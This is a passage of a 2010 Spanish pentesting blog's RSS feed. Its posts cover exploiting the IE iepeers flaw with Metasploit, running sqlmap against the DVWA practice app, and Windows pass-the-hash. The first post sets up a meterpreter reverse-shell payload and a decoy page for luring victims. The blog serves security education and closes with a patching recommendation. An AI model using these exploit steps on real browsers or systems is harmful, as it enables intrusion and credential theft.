href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S5_EUOrAFjI/AAAAAAAAAUs/VxpRdSKsZjQ/s1600-h/Imagen+1.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S5_EUOrAFjI/AAAAAAAAAUs/VxpRdSKsZjQ/s400/Imagen+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5449289925956474418" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 395px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para utilizar Metasploit para explotar esta vulnerabilidad no es necesario descargarse el plugin del enlace que hemos referenciado, ya que forma parte del repositorio oficial de Metasploit, por lo que solo tenemos que actualizar nuestro framework:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;cd /opt/msf3&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;svn update&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez actualizado, arrancamos Metasploit y seleccionamos este plugin, y nuestro payload favorito, en este caso Meterpreter:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;/i&gt;&lt;b&gt;&lt;i&gt;./msfconsole&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;use windows/browser/ie_iepeers_pointer&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;set LHOST [BackTrackIP]&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;i&gt;&gt; &lt;/i&gt;&lt;b&gt;&lt;i&gt;show options&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S5vZ8WGiCtI/AAAAAAAAAUU/MGTxohKKVjQ/s1600-h/IE001.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S5vZ8WGiCtI/AAAAAAAAAUU/MGTxohKKVjQ/s400/IE001.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5448187804983102162" style="cursor: pointer; width: 400px; height: 205px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez preparada la explotación ya solo tenemos que lanzar el exploit, el cual levantará un servidor web en el puerto 8080 y nos proporcionará una URL que el navegador víctima deberá visitar para ser explotado:&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&gt; &lt;b&gt;exploit&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S5vajSsGcgI/AAAAAAAAAUc/YizwWTANkuQ/s1600-h/IE002.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S5vajSsGcgI/AAAAAAAAAUc/YizwWTANkuQ/s400/IE002.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5448188474081833474" style="cursor: pointer; width: 400px; height: 132px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, si utilizamos este exploit directamente contra un navegador, veremos que el navegador se queda completamente bloqueado o incluso que se cierra, así que vamos a introducir una pequeña variante para ocultar un poco la explotación de una manera no demasiado complicada ni sofisticada.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para ello, levantamos un servidor apache en el puerto 80 con un simple HTML, a través del cual mostraremos una web "señuelo" para entretener al usuario mientras se lanza otro navegador que visita la URL que nos ha proporcionado Metasploit:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;i&gt;# &lt;b&gt;cat /var/www/index.html&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S5vclBKtJlI/AAAAAAAAAUk/oID6mHQIF7o/s1600-h/Imagen+2.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S5vclBKtJlI/AAAAAAAAAUk/oID6mHQIF7o/s400/Imagen+2.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5448190702761354834" style="cursor: pointer; width: 400px; height: 210px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bueno, pues ya lo tenemos todo listo, ahora solo nos queda que un pobre incauto visite nuestra web trampa. Podemos observar en el siguiente video como sería el efecto visual, además de como migramos Meterpreter de proceso para que no nos quedemos sin conexión al cerrar el usuario el navegador, todo ello de forma automática:&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;object width="400" height="250"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=10137457&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=10137457&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="250"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Estas pruebas han sido realizadas con Internet Explorer 6. No se han obtenido pruebas satisfactorias con Internet Explorer 7, ya que el exploit ha sido creado a partir del malware original, que parecía tener como foco únicamente la versión 6 del navegador de Microsoft. Sin embargo, la versión 7 del navegador también es vulnerable, y con algo más de esfuerzo podría obtenerse un exploit completamente funcional.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para mitigar esta vulnerabilidad, se recomienda a todos los usuarios de Internet Explorer que &lt;b&gt;actualicen&lt;/b&gt; su software &lt;b&gt;a Internet Explorer 8&lt;/b&gt;, ya que esta versión no se ve afectada por la vulnerabilidad.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-2481155340448238903?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/03/iepeers-0-day-explotando-otra-vez.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_Jx-hAg65Epo/S5_EUOrAFjI/AAAAAAAAAUs/VxpRdSKsZjQ/s72-c/Imagen+1.png" height="72" width="72" /><thr:total>10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6240013251419256968</guid><pubDate>Tue, 09 Mar 2010 06:25:00 +0000</pubDate><atom:updated>2010-03-09T07:25:00.487+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>SQLMap: Inyección SQL Automática</title><description>&lt;div style="text-align: justify;"&gt;&lt;a href="http://sqlmap.sourceforge.net/"&gt;SQLMap&lt;/a&gt; es una herramienta para llevar a cabo inyecciones SQL realizada por Bernardo Damele (líder de proyecto) y Miroslav Stampar (Desarrollador). Es una herramienta desarrollada en Python y por tanto independiente del sistema operativo.&lt;br /&gt;&lt;br /&gt;Una vez hecha la pequeña presentación de la herramienta, vamos a juguetear un poco con ella. Para las pruebas realizadas hemos utilizado:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://dvwa.co.uk/"&gt;DVWA&lt;/a&gt; versión 1.0.6 como aplicación vulnerable a SQL injection &lt;/li&gt;&lt;li&gt;SQLMap 0.7  como herramienta para realizar SQL injection&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Mysql 5.0.51&lt;/li&gt;&lt;li&gt;Sistema Operativo, Debian&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Accedemos a la aplicación DVWA con nuestras credenciales, accedemos desde el menú de la izquierda a la opción "SQL Injection":&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rX2EMs9YI/AAAAAAAAAVI/ucxJ-eiw1OA/s1600-h/sqli_dvwa.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rX2EMs9YI/AAAAAAAAAVI/ucxJ-eiw1OA/s400/sqli_dvwa.PNG" alt="" id="BLOGGER_PHOTO_ID_5443400423470593410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rh_QGjB5I/AAAAAAAAAVo/_LGdMteUHgs/s1600-h/sqli_dvwa_01.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rh_QGjB5I/AAAAAAAAAVo/_LGdMteUHgs/s400/sqli_dvwa_01.PNG" alt="" id="BLOGGER_PHOTO_ID_5443411576401102738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La aplicación recibe un identificador numérico y devuelve qué usuario dispone de ese identificador. Por ejemplo, si introducimos un '1' como "user id" la aplicación nos devolverá 'admin'. La aplicación realiza la siguiente consulta SQL sobre la base de datos, "&lt;i&gt;SELECT first_name, last_name FROM users WHERE user_id = '$id'&lt;/i&gt;"&lt;code&gt;&lt;/code&gt;, recibiendo como parámetro el user_id. En el caso de no realizar un buen tratamiento del identificador un atacante podrá realizar una inyección SQL.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Vamos a probar qué sucede si introducimos una comilla seguida de un identificador numérico:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S4rbju8dOOI/AAAAAAAAAVY/kLY4zadDpb0/s1600-h/error_sqli.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S4rbju8dOOI/AAAAAAAAAVY/kLY4zadDpb0/s400/error_sqli.PNG" alt="" id="BLOGGER_PHOTO_ID_5443404506574174434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos se produce un error que nos indica que estamos ante una "posible" inyección SQL. En este caso concreto sabemos a ciencia cierta que existe, así que ahora vamos a ver cómo se comporta SQLMap, para ello lanzamos SQLMap pasándole la URL y los identificadores de sesión:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: left;"&gt;$&gt; sqlmap.exe --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&amp;amp;Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f"&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Resultado obtenido:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rm3kJCgmI/AAAAAAAAAVw/5AF1TW1ft2A/s1600-h/error_sqli.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 241px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rm3kJCgmI/AAAAAAAAAVw/5AF1TW1ft2A/s400/error_sqli.PNG" alt="" id="BLOGGER_PHOTO_ID_5443416941899448930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;Nosotros sabemos que el parámetro id es vulnerable a SQL injection y que la base de datos es Mysql, pero en este caso SQLMap parece no darnos el resultado esperado, ¿por qué?. SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario). En nuestro caso si la inyección deriva en una página de error (por lo que no está bien construida) esta varía mucho de la página sin ningún tipo de inyección; por el contrario si la inyección resulta exitosa devolverá en el campo ID nuestra inyección, dejando igual los campos "First name" y "Surname". En la ejecución anterior SQLMap no funciona de manera correcta porque el campo ID con nuestra inyección hace variar demasiado la página. Si vamos haciendo una traza de la ejecución observamos que es en el fichero "comparison.py" donde devuelve "False" en base a dos valores, ratio y conf.matchRatio.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S4rsrc7ONAI/AAAAAAAAAV4/AOCZdPBWFJo/s1600-h/codigo_fuente_comparison_py.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 291px;" src="http://4.bp.blogspot.com/_ywZ68m8Vt3A/S4rsrc7ONAI/AAAAAAAAAV4/AOCZdPBWFJo/s400/codigo_fuente_comparison_py.PNG" alt="" id="BLOGGER_PHOTO_ID_5443423330873783298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Añadimos dos líneas a este fichero, 'logger.info(ratio) y logger.info(conf.matchRatio)', para observar qué valores tienen las variables ratio y conf.matchRatio cuando realiza una inyección que efectivamente debería surtir efecto:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4ru_51xktI/AAAAAAAAAWA/SWSUB7l0OqQ/s1600-h/ratio.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 280px;" src="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4ru_51xktI/AAAAAAAAAWA/SWSUB7l0OqQ/s400/ratio.PNG" alt="" id="BLOGGER_PHOTO_ID_5443425881256202962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como vemos la página con la inyección varía "demasiado" para ser detectado por nuestra sensible herramienta. Para ayudarla un poco vamos a utilizar el parámetro "--string", con el objetivo de introducir una cadena que esté siempre en la página sin inyección y en la página con una inyección que debiera volver True. Por contra esta cadena no debería estar cuando devuelva False. En este caso si introducimos como "id=1", sabemos que debe devolver admin cuando se produzca un True y no debe aparecer cuando devuelva False. Vamos a probar:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;$&gt; python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&amp;amp;Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin"&lt;br /&gt;&lt;br /&gt;Resultado obtenido:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S4rx6VSFvgI/AAAAAAAAAWI/6DzKfE9aSUQ/s1600-h/mysql-sqlmap.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 280px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S4rx6VSFvgI/AAAAAAAAAWI/6DzKfE9aSUQ/s400/mysql-sqlmap.PNG" alt="" id="BLOGGER_PHOTO_ID_5443429084078390786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora que parece funcionar, vamos a obtener por ejemplo las bases de datos que posee la base de datos:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;$&gt; python -d /usr/bin/sqlmap --url="http://192.168.72.133/webapp/dvwa/vulnerabilities/sqli/index.php?id=1&amp;amp;Submit=Submit#" --cookie="security=low; PHPSESSID=5c8195bf7834edb2e4ab7b6eae6af45f" --string="admin" --dbs&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S4ry5jM0J_I/AAAAAAAAAWQ/293KjHncPXk/s1600-h/dbs-mysql.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 280px;" src="http://3.bp.blogspot.com/_ywZ68m8Vt3A/S4ry5jM0J_I/AAAAAAAAAWQ/293KjHncPXk/s400/dbs-mysql.PNG" alt="" id="BLOGGER_PHOTO_ID_5443430170146121714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Vemos que existen cuatro base de datos (dvwa, information_schema, mysql y wordpress281) en la base de datos. Llegados a este punto empieza la fiesta y ya podemos ir consultando con la herramienta diferentes aspectos de la base de datos, y que podéis consultar en el &lt;a href="http://sqlmap.sourceforge.net/doc/README.html"&gt;manual de SQLMap&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En una próxima entrada llegaremos un poco más lejos ..... a través de una inyección SQL. Espero que esta entrada os sirva para ver cómo toquetear SQLMap un poquito y empezar con lo divertido.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6240013251419256968?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/03/sqlmap-inyeccion-sql-automatica.html</link><author>noreply@blogger.com (José Miguel Holguín)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_ywZ68m8Vt3A/S4rX2EMs9YI/AAAAAAAAAVI/ucxJ-eiw1OA/s72-c/sqli_dvwa.PNG" height="72" width="72" /><thr:total>15</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-14768567416847680</guid><pubDate>Wed, 03 Mar 2010 10:27:00 +0000</pubDate><atom:updated>2010-03-03T11:36:20.536+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><title>Windows Post-Explotation &amp; Pass-the-Hash</title><description>&lt;div style="text-align: justify;"&gt;El pasado viernes por la tarde, en las &lt;a href="http://www.fistconference.org/?s=8&amp;amp;id=19"&gt;&lt;b&gt;Conferencias FIST de Barcelona&lt;/b&gt;&lt;/a&gt;, tuvimos la oportunidad de dar una de las charlas de 45 minutos en las que explicábamos algunas técnicas que podemos realizar durante la realización de un test de intrusión una vez hemos conseguido hacernos con el control de una de las máquinas. Concretamente, repasábamos algunas de las técnicas que se pueden emplear en sistemas Windows.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Entre las técnicas mencionadas, comentamos como se pueden aprovechar los fallos existentes en el antiguo Hash LANMAN utilizado aún por Microsoft por motivos de compatibilidad para obtener las contraseñas de una forma más fácil y rápida. Otra de las técnicas mencionadas consistía en la utilización de hashes que no habían podido ser crackeados debido a la robustez de la clave, pero que igualmente podían ser utilizados empleando técnicas de Pass-the-Hash para lograr propagar nuestra intrusión en el resto de los equipos sin necesidad de conocer la contraseña.&lt;br /&gt;Podemos &lt;a href="http://sites.google.com/site/pentesteres/Home/pentester-es/WinPostExploitation.pdf?attredirects=0&amp;amp;d=1"&gt;descargar la presentación&lt;/a&gt; o verla directamente a través de Scribd:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;center&gt;&lt;object id="doc_86433901693650" name="doc_86433901693650" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline-style: none; width: 100%; height: 247px;" width="100%" height="500"&gt;  &lt;param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"&gt;  &lt;param name="wmode" value="opaque"&gt;   &lt;param name="bgcolor" value="#ffffff"&gt;   &lt;param name="allowFullScreen" value="true"&gt;   &lt;param name="allowScriptAccess" value="always"&gt;   &lt;param name="FlashVars" value="document_id=27432655&amp;amp;access_key=key-uf1loweepx3756aswi6&amp;amp;page=1&amp;amp;viewMode=slideshow"&gt;   &lt;embed id="doc_86433901693650" name="doc_86433901693650" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=27432655&amp;amp;access_key=key-uf1loweepx3756aswi6&amp;amp;page=1&amp;amp;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" bgcolor="#ffffff" width="100%" height="500"&gt;&lt;/embed&gt;  &lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;También podemos ver un pequeño video de las demostraciones que me llevé preparado por si me fallaban las maquetas, o el ordenador, o algo:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;object width="400" height="300"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=9878767&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1"&gt;&lt;embed src="http://vimeo.com/moogaloop.swf?clip_id=9878767&amp;amp;server=vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;En el video podemos ver como, tras una intrusión en el sistema XPOWNED, robamos los hashes y los intentamos crackear utilizando las conocidas debilidades del algoritmo LANMAN de Microsoft. Sin embargo, una de las contraseñas se nos resiste tanto al ataque de diccionario como al de fuerza bruta, así que aplicamos sobre este Hash las técnicas de Pass-the-Hash. Para ello, utilizamos el Pass-the-Hash Toolkit (PSH) que como vemos cambia en la memoria de nuestro propio Windows las credenciales para sustituirlas por las credenciales del usuario suplantado, y a partir de ahí, a todos los efectos somos ese usuario en la red. Por último usamos el módulo PSExec de Metasploit para ejecutar comandos en el sistema XPTARGET. Para más información podeis consultar la presentación.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Por último, agradecer a todas las personas que vinieron el interés mostrado por nuestra charla. Esperamos que resultara interesante y esperamos también poder contar con vosotros para las sucesivas charlas que nos inviten a dar, que esperemos que sean muchas ;)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Lamento la tardanza en poner el post, pero lo de los videos se me sigue resistiendo, aunque parece que ahora, por fin, ya lo tengo solucionado ;P&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Saludos a todos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-14768567416847680?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/03/windows-post-explotation-pass-hash.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1648881909889531110</guid><pubDate>Fri, 19 Feb 2010 12:00:00 +0000</pubDate><atom:updated>2010-02-19T13:00:51.506+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PentesterEs</category><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><title>Pentester.es participa en las Conferencias FIST</title><description>&lt;div style="text-align: justify;"&gt;El próximo día &lt;b&gt;26 de Febrero&lt;/b&gt; tienen lugar en &lt;b&gt;Barcelona&lt;/b&gt; las &lt;a href="http://www.fistconference.org/"&gt;&lt;b&gt;Conferencias FIST&lt;/b&gt;&lt;/a&gt;, que como ya sabréis generalmente se celebran alternativamente en Madrid y en Barcelona.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En Barcelona concretamente, ya llevan un par de años teniendo lugar dentro del contexto de la &lt;b&gt;&lt;a href="http://www.fiberparty.org/"&gt;Fiberparty&lt;/a&gt;&lt;/b&gt;, una LANParty tradicional de esta ciudad que fue montada originariamente por estudiantes de la &lt;a href="http://www.fib.upc.edu/fib/"&gt;Facultad de Informática de Barcelona&lt;/a&gt; (&lt;a href="http://www.upc.edu/"&gt;UPC&lt;/a&gt;) en la que podemos tener acceso, además de los típicos torneos de los juegos más conocidos, a charlas y conferencias muy interesantes, e incluso un concurso de Hacking.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si después de leer esto estáis pensando en apuntaros corriendo... lo siento, pero &lt;a href="http://www.fiberparty.org/blog/2010/02/12/no-quedan-entradas/"&gt;las entradas están ya agotadas&lt;/a&gt; a falta aún de dos semanas para el evento, aunque creo que si estáis interesados en las conferencias sí se puede asistir a ellas con un pase de visitante.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El caso es que hemos recibido una &lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;invitación por parte de la Organización de las Conferencias FIST&lt;/span&gt;&lt;/b&gt; para realizar una de las tres charlas que se impartirán en esta edición de las conferencias. El tema:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style="font-size:x-large;"&gt;&lt;b&gt;Windows Post-Explotation &amp;amp; Pass the Hash&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La charla constará de 45 minutos en los que explicaremos alguna de las técnicas que podemos usar en la post-explotación de los sistemas Windows y un par de demostraciones en vivo de las herramientas y las técnicas.&lt;br /&gt;&lt;br /&gt;Esperamos que el tema sea de vuestro interés y que aquellos que nos leen y tengan la oportunidad de estar por Barcelona se pasen a saludarnos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hasta entonces! Nos vemos en las FIST! ;)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1648881909889531110?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/02/pentesteres-participa-en-las.html</link><author>noreply@blogger.com (Jose Selvi)</author><thr:total>14</thr:total></item></channel></rss>
